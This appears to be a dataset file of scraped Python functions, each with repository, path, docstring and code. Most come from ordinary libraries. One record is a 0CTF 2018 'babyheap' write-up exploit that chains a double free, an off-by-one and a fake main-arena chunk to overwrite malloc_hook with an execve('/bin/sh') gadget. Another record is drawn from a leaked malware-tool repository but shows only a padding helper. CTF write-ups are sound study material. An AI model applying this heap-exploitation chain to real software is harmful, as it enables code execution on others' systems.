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eclipse/sumo | 7132a9b8b6eea734bdec38479026b4d8c4336d03 | tools/traci/domain.py | python | Domain.getIDList | (self) | return self._getUniversal(tc.TRACI_ID_LIST, "") | getIDList() -> list(string)
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"""getIDList() -> list(string)
Returns a list of all objects in the network.
"""
return self._getUniversal(tc.TRACI_ID_LIST, "") | [
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | wx/lib/agw/customtreectrl.py | python | CustomTreeCtrl.IsDescendantOf | (self, parent, item) | return False | Checks if the given item is under another one in the tree hierarchy.
:param `parent`: an instance of :class:`GenericTreeItem`, representing the possible
parent of `item`;
:param `item`: another instance of :class:`GenericTreeItem`.
:return: ``True`` if `item` is a descendant of `parent`, ``False`` otherwise. | Checks if the given item is under another one in the tree hierarchy. | [
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"""
Checks if the given item is under another one in the tree hierarchy.
:param `parent`: an instance of :class:`GenericTreeItem`, representing the possible
parent of `item`;
:param `item`: another instance of :class:`GenericTreeItem`.
:return: ``True`` if `item` is a descendant of `parent`, ``False`` otherwise.
"""
while item:
if item == parent:
# item is a descendant of parent
return True
item = item.GetParent()
return False | [
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MTG/gaia | 0f7214dbdec6f9b651ca34211824841ffba0bc77 | src/bindings/pygaia/utils.py | python | dictcombinations | (d) | From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values. | From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values. | [
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"""From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values."""
keys = tuple(d.keys())
for values in combinations(list(d.values())):
yield dict(zip(keys, values)) | [
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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/python/numpy/py3/numpy/distutils/npy_pkg_config.py | python | LibraryInfo.sections | (self) | return list(self._sections.keys()) | Return the section headers of the config file.
Parameters
----------
None
Returns
-------
keys : list of str
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"""
Return the section headers of the config file.
Parameters
----------
None
Returns
-------
keys : list of str
The list of section headers.
"""
return list(self._sections.keys()) | [
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KratosMultiphysics/Kratos | 0000833054ed0503424eb28205d6508d9ca6cbbc | applications/ContactStructuralMechanicsApplication/python_scripts/mesh_tying_process.py | python | MeshTyingProcess.__init__ | (self, Model, settings) | The default constructor of the class
Keyword arguments:
self -- It signifies an instance of a class.
Model -- the model part used to construct the process.
settings -- Kratos parameters containing solver settings. | The default constructor of the class | [
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""" The default constructor of the class
Keyword arguments:
self -- It signifies an instance of a class.
Model -- the model part used to construct the process.
settings -- Kratos parameters containing solver settings.
"""
# NOTE: Due to recursive check "search_model_part" and "assume_master_slave" requires to pre-define configurations, if more that 10 pairs of contact are required, just add. I assume nobody needs that much
# Settings string in json format
default_parameters = KM.Parameters("""
{
"help" : "This class is used in order to compute the a mortar mesh tying formulation. This class constructs the model parts containing the mesh tying conditions and initializes parameters and variables related with the mesh tying. The class creates search utilities to be used to create the tying pairs",
"mesh_id" : 0,
"model_part_name" : "Structure",
"mesh_tying_model_part" : {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[]},
"assume_master_slave" : {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[]},
"mesh_tying_property_ids" : {"0": 0,"1": 0,"2": 0,"3": 0,"4": 0,"5": 0,"6": 0,"7": 0,"8": 0,"9": 0},
"interval" : [0.0,"End"],
"variable_name" : "DISPLACEMENT",
"zero_tolerance_factor" : 1.0,
"integration_order" : 2,
"consider_tessellation" : false,
"normal_check_proportion" : 0.1,
"search_parameters" : {
"type_search" : "in_radius_with_obb",
"search_factor" : 3.5,
"active_check_factor" : 0.01,
"max_number_results" : 1000,
"bucket_size" : 4,
"dynamic_search" : false,
"database_step_update" : 999999999,
"debug_mode" : false,
"check_gap" : "check_mapping",
"octree_search_parameters" : {
"bounding_box_factor" : 0.1,
"debug_obb" : false,
"OBB_intersection_type" : "SeparatingAxisTheorem",
"lower_bounding_box_coefficient" : 0.0,
"higher_bounding_box_coefficient" : 1.0
}
}
}
""")
# Overwrite the default settings with user-provided parameters
self.mesh_tying_settings = settings
self.mesh_tying_settings.ValidateAndAssignDefaults(default_parameters)
# We transfer the parameters to the base class
base_process_settings = KM.Parameters("""{}""")
base_process_settings.AddValue("mesh_id", self.mesh_tying_settings["mesh_id"])
base_process_settings.AddValue("model_part_name", self.mesh_tying_settings["model_part_name"])
base_process_settings.AddValue("search_model_part", self.mesh_tying_settings["mesh_tying_model_part"])
base_process_settings.AddValue("assume_master_slave", self.mesh_tying_settings["assume_master_slave"])
base_process_settings.AddValue("search_property_ids", self.mesh_tying_settings["mesh_tying_property_ids"])
base_process_settings.AddValue("interval", self.mesh_tying_settings["interval"])
base_process_settings.AddValue("zero_tolerance_factor", self.mesh_tying_settings["zero_tolerance_factor"])
base_process_settings.AddValue("integration_order", self.mesh_tying_settings["integration_order"])
base_process_settings.AddValue("consider_tessellation", self.mesh_tying_settings["consider_tessellation"])
base_process_settings.AddValue("normal_check_proportion", self.mesh_tying_settings["normal_check_proportion"])
base_process_settings.AddValue("search_parameters", self.mesh_tying_settings["search_parameters"])
# Construct the base process.
super().__init__(Model, base_process_settings)
# Mesh tying configurations
# Determine if the variable is components or scalar
self.variable_name = self.mesh_tying_settings["variable_name"].GetString()
if KM.KratosGlobals.HasVariable(self.variable_name):
var_type = KM.KratosGlobals.GetVariableType(self.variable_name)
if var_type == "Array":
self.type_variable = "Components"
elif var_type == "Double":
self.type_variable = "Scalar"
else:
raise Exception("Variable " + self.variable_name + " not compatible")
else:
raise Exception("Variable " + self.variable_name + " not registered") | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/psutil/_psbsd.py | python | Process.oneshot | (self) | return ret | Retrieves multiple process info in one shot as a raw tuple. | Retrieves multiple process info in one shot as a raw tuple. | [
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ret = cext.proc_oneshot_info(self.pid)
assert len(ret) == len(kinfo_proc_map)
return ret | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/asyncio/locks.py | python | Lock.release | (self) | Release a lock.
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When invoked on an unlocked lock, a RuntimeError is raised.
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hughperkins/Jinja2CppLight | 04196b080adf6edb86184824a1cf948ace310d19 | thirdparty/cogapp/cogapp/cogapp.py | python | Cog.suffixLines | (self, text) | return text | Add suffixes to the lines in text, if our options desire it.
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sajjadium/ctf-writeups | 1fd27f5d9619bddf670f25343948a8fe2f005f63 | 0CTF/2018/Quals/babyheap/exploit.py | python | exploit | (libc_base) | 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL | 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL | [
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# data[4] => fastbin_2 (0x60)
# this allocation causes data[4] and data[2] pointing to the same fastbin_2
allocate(88)
# due to the following double free, we can mount fastbin dup attack
delete(2)
delete(0)
delete(4)
# data[0] => fastbin_2 (0x60)
allocate(88)
# data[2] => fastbin_0 (0x60)
allocate(88)
# here we write 0x51 into the fastbin_2's fd
# so when we do another allocation with size of 88
# we can write 0x51 into the head of fastbin free list
update(0, 8, p64(0x51))
# data[4] => fastbin_2 (0x60)
# after this allocation, 0x51 will be written into the head
# of fastbin free list for chunks of 0x60 size
allocate(88)
# data[5] => fastbin_4 (0x50)
allocate(72)
# data[6] => fastbin_5 (0x50)
allocate(72)
# data[7] => fastbin_6 (0x50)
allocate(72)
# data[8] => fastbin_7 (0x50)
# this allocation prevents consolidation into the top chunk
allocate(72)
# we use the off-by-one attack to launch fastbin dup attack again.
# Here we are planning to allocate a fake chunk in main arena
# Therefore, we set fastbin_5's size to 0xa1
update(5, 73, '\x00' * 72 + '\xa1')
# deleting fastbin_5 will be put it in the unsorted bin because
# its size is 0xa1.
delete(6)
# data[6] => fastbin_5 (0x50)
allocate(72)
# data[9] => fastbin_6 (0x50)
# this causes data[7] and data[9] is pointing to the same chunk(fastbin_6)
allocate(72)
# due to the following double free, we can mount fastbin dup attack
delete(7)
delete(5)
delete(9)
# data[5] => fastbin_6 (0x50)
allocate(72)
# data[7] => fastbin_4 (0x50)
allocate(72)
# here we are writing the address of our fake chunk into the fastbin_6's fd
# basically, this fake chunk is created before "top chunk" pointer in main arena
# the reason we can do this is because we wrote the value of 0x51 in the main arena
# previously, so the fake chunk looks legitimate to malloc
arena_fake_chunk = libc_base + 0x3c4b40
print 'main arena\'s fake chunk: {}'.format(hex(arena_fake_chunk))
update(5, 72, p64(arena_fake_chunk) + 'c' * 64)
# data[9] => fastbin_6 (0x50)
# this allocation puts the main arena fake chunk's address in the head of fastbin free list
allocate(72)
# data[10] => fastbin_8 (0x50)
# data[10] is pointing to the arena fake chunk
allocate(72)
# here we have the ability to overwrite top chunk pointer to somewhere near the malloc_hook
# this new chunk is pointing right before the malloc_hook
malloc_hook_fake_chunk = libc_base + 0x3c4b00
print 'malloc_hook\'s fake chunk: {}'.format(hex(malloc_hook_fake_chunk))
# we need to keep the integrity of the arena, so we have to write the last two 8-byte values
update(10, 72, '\x00' * 40 + p64(malloc_hook_fake_chunk) + p64(0) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c4b78))
# data[11] => fastbin_9 (0x50)
# this will use our fake top chunk and allocate a chunk that points right before malloc_hook
allocate(72)
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''
one_gadget = libc_base + 0x4526a
print 'one gadget: {}'.format(hex(one_gadget))
# we need to overwrite malloc_hook with one gadget address
update(11, 8, p64(one_gadget))
# we just need an arbitrary allocation to trigger malloc_hook
allocate(10) | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/compat/_inspect.py | python | strseq | (object, convert, join=joinseq) | Recursively walk a sequence, stringifying each element. | Recursively walk a sequence, stringifying each element. | [
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] | def strseq(object, convert, join=joinseq):
"""Recursively walk a sequence, stringifying each element.
"""
if type(object) in [list, tuple]:
return join([strseq(_o, convert, join) for _o in object])
else:
return convert(object) | [
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zhaoweicai/mscnn | 534bcac5710a579d60827f192035f7eef6d8c585 | scripts/cpp_lint.py | python | CheckAltTokens | (filename, clean_lines, linenum, error) | Check alternative keywords being used in boolean expressions.
Args:
filename: The name of the current file.
clean_lines: A CleansedLines instance containing the file.
linenum: The number of the line to check.
error: The function to call with any errors found. | Check alternative keywords being used in boolean expressions. | [
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"""Check alternative keywords being used in boolean expressions.
Args:
filename: The name of the current file.
clean_lines: A CleansedLines instance containing the file.
linenum: The number of the line to check.
error: The function to call with any errors found.
"""
line = clean_lines.elided[linenum]
# Avoid preprocessor lines
if Match(r'^\s*#', line):
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if line.find('/*') >= 0 or line.find('*/') >= 0:
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apache/qpid-proton | 6bcdfebb55ea3554bc29b1901422532db331a591 | python/proton/_data.py | python | Data.is_described | (self) | return pn_data_is_described(self._data) | Checks if the current node is a described value. The descriptor
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>>> # read a symbolically described string
>>> assert data.is_described() # will error if the current node is not described
>>> data.enter()
>>> data.next()
>>> print data.get_symbol()
>>> data.next()
>>> print data.get_string()
>>> data.exit()
:return: ``True`` if the current node is a described type, ``False`` otherwise. | Checks if the current node is a described value. The descriptor
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domino-team/openwrt-cc | 8b181297c34d14d3ca521cc9f31430d561dbc688 | package/gli-pub/openwrt-node-packages-master/node/node-v6.9.1/deps/v8/tools/grokdump.py | python | InspectionPadawan.__getattr__ | (self, name) | return getattr(self.heap, name) | An InspectionPadawan can be used instead of V8Heap, even though
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BSVino/DoubleAction | c550b168a3e919926c198c30240f506538b92e75 | mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/reflection.py | python | _AddSerializeToStringMethod | (message_descriptor, cls) | Helper for _AddMessageMethods(). | Helper for _AddMessageMethods(). | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unicode_support.py | python | _Py_ISALPHA | (ch) | return _Py_ctype_table[_Py_CHARMASK(ch)] & _PY_CTF.ALPHA | Equivalent to the CPython macro `Py_ISALPHA()` | Equivalent to the CPython macro `Py_ISALPHA()` | [
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mantidproject/mantid | 03deeb89254ec4289edb8771e0188c2090a02f32 | Framework/PythonInterface/plugins/algorithms/ReflectometrySliceEventWorkspace.py | python | ReflectometrySliceEventWorkspace._get_property_or_default_as_datetime | (self, property_name, default_value, relative_start) | Get a property value as a DateAndTime. Return the given default value if the property is not set.
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moderngl/moderngl | 32fe79927e02b0fa893b3603d677bdae39771e14 | moderngl/texture.py | python | Texture.components | (self) | return self._components | int: The number of components of the texture. | int: The number of components of the texture. | [
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chihyaoma/regretful-agent | 5caf7b500667981bc7064e4d31b49e83db64c95a | scripts/precompute_img_features.py | python | transform_img | (im) | return blob | Prep opencv 3 channel image for the network | Prep opencv 3 channel image for the network | [
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im_orig -= np.array([[[103.1, 115.9, 123.2]]]) # BGR pixel mean
blob = np.zeros((1, im.shape[0], im.shape[1], 3), dtype=np.float32)
blob[0, :, :, :] = im_orig
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alexgkendall/caffe-posenet | 62aafbd7c45df91acdba14f5d1406d8295c2bc6f | scripts/cpp_lint.py | python | ProcessLine | (filename, file_extension, clean_lines, line,
include_state, function_state, nesting_state, error,
extra_check_functions=[]) | Processes a single line in the file.
Args:
filename: Filename of the file that is being processed.
file_extension: The extension (dot not included) of the file.
clean_lines: An array of strings, each representing a line of the file,
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line: Number of line being processed.
include_state: An _IncludeState instance in which the headers are inserted.
function_state: A _FunctionState instance which counts function lines, etc.
nesting_state: A _NestingState instance which maintains information about
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extra_check_functions: An array of additional check functions that will be
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"""Processes a single line in the file.
Args:
filename: Filename of the file that is being processed.
file_extension: The extension (dot not included) of the file.
clean_lines: An array of strings, each representing a line of the file,
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line: Number of line being processed.
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raw_lines = clean_lines.raw_lines
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CheckInvalidIncrement(filename, clean_lines, line, error)
CheckMakePairUsesDeduction(filename, clean_lines, line, error)
for check_fn in extra_check_functions:
check_fn(filename, clean_lines, line, error) | [
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apache/madlib | be297fe6beada0640f93317e8948834032718e32 | src/madpack/upgrade_util.py | python | ScriptCleaner._clean_function | (self) | @brief Remove "drop function" statements and rewrite "create function"
statements in the sql script
@note We don't drop any function | [] | def _clean_function(self):
"""
@brief Remove "drop function" statements and rewrite "create function"
statements in the sql script
@note We don't drop any function
"""
# remove 'drop function'
pattern = re.compile(r"""DROP(\s+)FUNCTION(.*?);""", re.DOTALL | re.IGNORECASE)
self._sql = re.sub(pattern, '', self._sql)
# replace 'create function' with 'create or replace function'
pattern = re.compile(r"""CREATE(\s+)FUNCTION""", re.DOTALL | re.IGNORECASE)
self._sql = re.sub(pattern, 'CREATE OR REPLACE FUNCTION', self._sql) | [
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] | https://github.com/apache/madlib/blob/be297fe6beada0640f93317e8948834032718e32/src/madpack/upgrade_util.py#L1284-L1295 | |||
NVIDIA/TensorRT | 42805f078052daad1a98bc5965974fcffaad0960 | samples/python/yolov3_onnx/data_processing.py | python | PostprocessYOLO.__init__ | (self,
yolo_masks,
yolo_anchors,
obj_threshold,
nms_threshold,
yolo_input_resolution) | Initialize with all values that will be kept when processing several frames.
Assuming 3 outputs of the network in the case of (large) YOLOv3.
Keyword arguments:
yolo_masks -- a list of 3 three-dimensional tuples for the YOLO masks
yolo_anchors -- a list of 9 two-dimensional tuples for the YOLO anchors
object_threshold -- threshold for object coverage, float value between 0 and 1
nms_threshold -- threshold for non-max suppression algorithm,
float value between 0 and 1
input_resolution_yolo -- two-dimensional tuple with the target network's (spatial)
input resolution in HW order | Initialize with all values that will be kept when processing several frames.
Assuming 3 outputs of the network in the case of (large) YOLOv3. | [
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yolo_anchors,
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nms_threshold,
yolo_input_resolution):
"""Initialize with all values that will be kept when processing several frames.
Assuming 3 outputs of the network in the case of (large) YOLOv3.
Keyword arguments:
yolo_masks -- a list of 3 three-dimensional tuples for the YOLO masks
yolo_anchors -- a list of 9 two-dimensional tuples for the YOLO anchors
object_threshold -- threshold for object coverage, float value between 0 and 1
nms_threshold -- threshold for non-max suppression algorithm,
float value between 0 and 1
input_resolution_yolo -- two-dimensional tuple with the target network's (spatial)
input resolution in HW order
"""
self.masks = yolo_masks
self.anchors = yolo_anchors
self.object_threshold = obj_threshold
self.nms_threshold = nms_threshold
self.input_resolution_yolo = yolo_input_resolution | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/pandas/io/sql.py | python | SQLDatabase.to_sql | (
self,
frame,
name,
if_exists="fail",
index=True,
index_label=None,
schema=None,
chunksize=None,
dtype=None,
method=None,
) | Write records stored in a DataFrame to a SQL database.
Parameters
----------
frame : DataFrame
name : string
Name of SQL table.
if_exists : {'fail', 'replace', 'append'}, default 'fail'
- fail: If table exists, do nothing.
- replace: If table exists, drop it, recreate it, and insert data.
- append: If table exists, insert data. Create if does not exist.
index : boolean, default True
Write DataFrame index as a column.
index_label : string or sequence, default None
Column label for index column(s). If None is given (default) and
`index` is True, then the index names are used.
A sequence should be given if the DataFrame uses MultiIndex.
schema : string, default None
Name of SQL schema in database to write to (if database flavor
supports this). If specified, this overwrites the default
schema of the SQLDatabase object.
chunksize : int, default None
If not None, then rows will be written in batches of this size at a
time. If None, all rows will be written at once.
dtype : single type or dict of column name to SQL type, default None
Optional specifying the datatype for columns. The SQL type should
be a SQLAlchemy type. If all columns are of the same type, one
single value can be used.
method : {None', 'multi', callable}, default None
Controls the SQL insertion clause used:
* None : Uses standard SQL ``INSERT`` clause (one per row).
* 'multi': Pass multiple values in a single ``INSERT`` clause.
* callable with signature ``(pd_table, conn, keys, data_iter)``.
Details and a sample callable implementation can be found in the
section :ref:`insert method <io.sql.method>`.
.. versionadded:: 0.24.0 | Write records stored in a DataFrame to a SQL database. | [
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] | def to_sql(
self,
frame,
name,
if_exists="fail",
index=True,
index_label=None,
schema=None,
chunksize=None,
dtype=None,
method=None,
):
"""
Write records stored in a DataFrame to a SQL database.
Parameters
----------
frame : DataFrame
name : string
Name of SQL table.
if_exists : {'fail', 'replace', 'append'}, default 'fail'
- fail: If table exists, do nothing.
- replace: If table exists, drop it, recreate it, and insert data.
- append: If table exists, insert data. Create if does not exist.
index : boolean, default True
Write DataFrame index as a column.
index_label : string or sequence, default None
Column label for index column(s). If None is given (default) and
`index` is True, then the index names are used.
A sequence should be given if the DataFrame uses MultiIndex.
schema : string, default None
Name of SQL schema in database to write to (if database flavor
supports this). If specified, this overwrites the default
schema of the SQLDatabase object.
chunksize : int, default None
If not None, then rows will be written in batches of this size at a
time. If None, all rows will be written at once.
dtype : single type or dict of column name to SQL type, default None
Optional specifying the datatype for columns. The SQL type should
be a SQLAlchemy type. If all columns are of the same type, one
single value can be used.
method : {None', 'multi', callable}, default None
Controls the SQL insertion clause used:
* None : Uses standard SQL ``INSERT`` clause (one per row).
* 'multi': Pass multiple values in a single ``INSERT`` clause.
* callable with signature ``(pd_table, conn, keys, data_iter)``.
Details and a sample callable implementation can be found in the
section :ref:`insert method <io.sql.method>`.
.. versionadded:: 0.24.0
"""
if dtype and not is_dict_like(dtype):
dtype = {col_name: dtype for col_name in frame}
if dtype is not None:
from sqlalchemy.types import to_instance, TypeEngine
for col, my_type in dtype.items():
if not isinstance(to_instance(my_type), TypeEngine):
raise ValueError(f"The type of {col} is not a SQLAlchemy type")
table = SQLTable(
name,
self,
frame=frame,
index=index,
if_exists=if_exists,
index_label=index_label,
schema=schema,
dtype=dtype,
)
table.create()
table.insert(chunksize, method=method)
if not name.isdigit() and not name.islower():
# check for potentially case sensitivity issues (GH7815)
# Only check when name is not a number and name is not lower case
engine = self.connectable.engine
with self.connectable.connect() as conn:
table_names = engine.table_names(
schema=schema or self.meta.schema, connection=conn
)
if name not in table_names:
msg = (
f"The provided table name '{name}' is not found exactly as "
"such in the database after writing the table, possibly "
"due to case sensitivity issues. Consider using lower "
"case table names."
)
warnings.warn(msg, UserWarning) | [
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RamadhanAmizudin/malware | 2c6c53c8b0d556f5d8078d6ca0fc4448f4697cf1 | Fuzzbunch/Resources/ST1.14/Tools/sentrytribe.py | python | pad_for_rsa | (data) | return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data | Pad data out to the crypto block size (8 bytes) | Pad data out to the crypto block size (8 bytes) | [
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] | def pad_for_rsa(data):
"""
Pad data out to the crypto block size (8 bytes)
"""
data = data + chr(0x00)*(16-len(data))
return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data | [
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benoitsteiner/tensorflow-opencl | cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5 | tensorflow/python/ops/data_flow_ops.py | python | ConditionalAccumulatorBase.dtype | (self) | return self._dtype | The datatype of the gradients accumulated by this accumulator. | The datatype of the gradients accumulated by this accumulator. | [
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"""The datatype of the gradients accumulated by this accumulator."""
return self._dtype | [
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